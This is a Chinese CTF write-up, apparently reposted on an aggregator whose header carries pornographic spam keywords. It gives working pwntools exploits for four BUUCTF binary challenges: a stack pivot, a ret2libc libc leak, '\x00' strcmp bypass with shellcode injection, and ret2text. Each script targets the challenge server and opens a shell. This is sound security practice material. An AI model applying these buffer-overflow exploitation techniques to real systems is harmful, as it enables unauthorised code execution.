日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

PWN-PRACTICE-BUUCTF-8

發布時間:2023/12/10 编程问答 26 豆豆
生活随笔 收集整理的這篇文章主要介紹了 PWN-PRACTICE-BUUCTF-8 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

PWN-PRACTICE-BUUCTF-8

    • ciscn_2019_es_2
    • jarvisoj_level3
    • ez_pz_hackover_2016
    • jarvisoj_tell_me_something

ciscn_2019_es_2

棧溢出,但是只能溢出8字節,覆蓋ebp和eip,考慮stack pivot,即棧遷移
參考:pwn-ciscn_2019_es_2(棧遷移)

#coding:utf-8 from pwn import * #context.log_level="debug" #io=process('./ciscn_2019_es_2') io=remote('node4.buuoj.cn',25654) elf=ELF('./ciscn_2019_es_2') system=elf.plt['system'] leave_ret=0x080485FD s_ebp_offset=0x38 #輸入的起始地址相對于泄露出的ebp的偏移,調試可得 io.recvuntil("your name?\n") payload="a"*36+"b"*4 #填充滿s的40個字節 io.send(payload) io.recvuntil("b"*4) ebp=u32(io.recv(4)) #泄露出ebp print(hex(ebp)) io.recvuntil("\n") payload="a"*4 #fake ebp payload+=p32(system) #第二個leave ret會ret到system payload+=p32(0xaaaabbbb)#system執行后的返回地址 payload+=p32(ebp-s_ebp_offset+0x10)#system的參數,要指向"/bin/sh\x00"字符串,前面12個字節加上這個的4字節,所以還要加上0x10,仿照格式化字符串任意寫的思路 payload+="/bin/sh\x00" payload=payload.ljust(40,'\x00')#填充滿s的40個字節 payload+=p32(ebp-s_ebp_offset)#覆蓋ebp,第一個leave的mov esp,ebp(fake) 會讓esp指向我們的輸入的前四個字節"a"*4 payload+=p32(leave_ret)#覆蓋eip,第一個ret會ret到第二個leave ret,而此時的esp為我們輸入的前四個字節"a"*4,由于第二個leave的pop ebp,于是我們輸入的"a"*4就充當了fake ebp,然后ret就會到system io.send(payload) io.interactive()

jarvisoj_level3

棧溢出,ret2libc

from pwn import * #io=process('./jarvisoj_level3') io=remote('node4.buuoj.cn',26654) elf=ELF('./jarvisoj_level3') libc=ELF('./libc-2.23-x32.so') io.recvuntil('Input:\n') write_got=elf.got['write'] write_plt=elf.plt['write'] main_addr=elf.sym['main'] payload='a'*(0x88+4)+p32(write_plt)+p32(main_addr)+p32(1)+p32(write_got)+p32(10) io.sendline(payload) write_addr=u32(io.recv(4)) print(hex(write_addr)) libc_base=write_addr-libc.sym['write'] system=libc_base+libc.sym['system'] binsh=libc_base+libc.search('/bin/sh\x00').next() io.recvuntil('Input:\n') payload='a'*(0x88+4)+p32(system)+p32(0xdead)+p32(binsh) io.sendline(payload) io.interactive()

ez_pz_hackover_2016

'\x00’繞過strcmp,然后是棧溢出,ret2shellcode
參考:[BUUCTF]PWN——ez_pz_hackover_2016
我自己做的時候,想當然的以為想要構成棧溢出,要填充的數據量為ida分析出的dest的50個字節
實際上需要調試才能得到填充量應為0x16(帶"crashme\x00",不帶ebp)
覆蓋ebp和eip,最后加上shellcode,覆蓋eip應指向shellcode
所以shellcode相對于題目直接給出的s的地址的偏移也需要知道
eip處偏移為32,因為eip要指向shellcode,而shellcode跟在eip后面
所以shellcode偏移為32-4==28

from pwn import * #context.log_level="debug" context.os="linux" context.arch="i386" #io=process("./ez_pz_hackover_2016") io=remote('node4.buuoj.cn',25710) elf=ELF("./ez_pz_hackover_2016") io.recvuntil("lets crash: ") s_stack=int(io.recvuntil("\n")[:-1],16) print(hex(s_stack)) io.recvuntil("> ") payload="crashme\x00"#'\x00'繞過strcmp payload+="a"*(0x16-8+4)#覆蓋ebp payload+=p32(s_stack-32+4)#覆蓋eip指向shellcode payload+=asm(shellcraft.sh())#shellcode io.sendline(payload) io.interactive()

jarvisoj_tell_me_something

棧溢出,ret2text

from pwn import * #io=process('./jarvisoj_tell_me_something') io=remote('node4.buuoj.cn',29268) elf=ELF('./jarvisoj_tell_me_something') flag_addr=elf.sym['good_game'] io.recvuntil('message:\n') payload='a'*(0x88)+p64(flag_addr) io.send(payload) io.interactive()

總結

以上是生活随笔為你收集整理的PWN-PRACTICE-BUUCTF-8的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。